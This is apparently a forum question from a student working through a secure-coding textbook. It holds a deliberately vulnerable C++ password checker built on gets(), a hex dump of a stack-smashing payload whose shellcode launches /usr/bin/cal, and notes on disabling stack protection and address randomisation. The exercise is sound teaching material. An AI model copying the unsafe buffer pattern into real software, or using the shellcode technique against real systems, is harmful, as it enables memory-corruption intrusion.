I am doing some homework for University and the book I am working from (Secure coding in C and C++ by Robert Seacord) has the following example in it;
You write a simple enter password program and do a stack smash on the program to make the terminal display a calendar snapshot. It's really simple and straightforward as an example of stack smashing. Except I think the book we have to work through was written a long time ago, before Segmentation faults covered this sort of activity.
I have searched a lot of sites (I've added -fno-stach-protector to the g++ compiler, and also set kernel.randomize_va_space=0, neither of these were allowed the exploit code to execute.
Here is the password c++ code;
#include <cstring>
#include <stdio.h>
#include <iostream>
bool isPasswordOkay(void);
int main(void)
{
bool PwStatus;
puts("Enter password:");
PwStatus = isPasswordOkay();
if (PwStatus == false)
{
puts("Access denied");
return 0;
}
else puts("Access granted");
return 0;
}
bool isPasswordOkay(void)
{
char Password[12];
gets(Password);
if (!strcmp(Password, "goodpass"))
return true;
else return(false);
}
and here is the exploit code (exploit.bin);
000 31 32 33 34 35 36 37 38–39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34–35 36 37 38 E0 F9 FF BF "789012345678a. +"
020 31 C0 A3 FF F9 FF BF B0–0B BB 03 FA FF BF B9 FB "1+ú . +≠+. +≠v"
030 F9 FF BF 8B 15 FF F9 FF–BF CD 80 FF F9 FF BF 31 ". +ï§ . +−ç . +1"
040 31 31 31 2F 75 73 72 2F–62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal "
Once the password code has been compiled I execute by entering ./a.out < exploit.bin
When executed, the terminal returns "Segmentation fault (core dumped)". What it should show is a snapshot of the calendar found at "111/usr/bin/cal ".
My question is, is there a way to temporarily disable this segmentation fault in order to allow the exploit code to execute? This would allow me to then go on to do the section as I'm a bit stumped at the moment.
Thank you, Jon
EDIT: Unfortunatly I can't upload images yet as I'm new, but here is a link to a breakdown of the exploit.bin code; https://i.stack.imgur.com/X65mL.jpg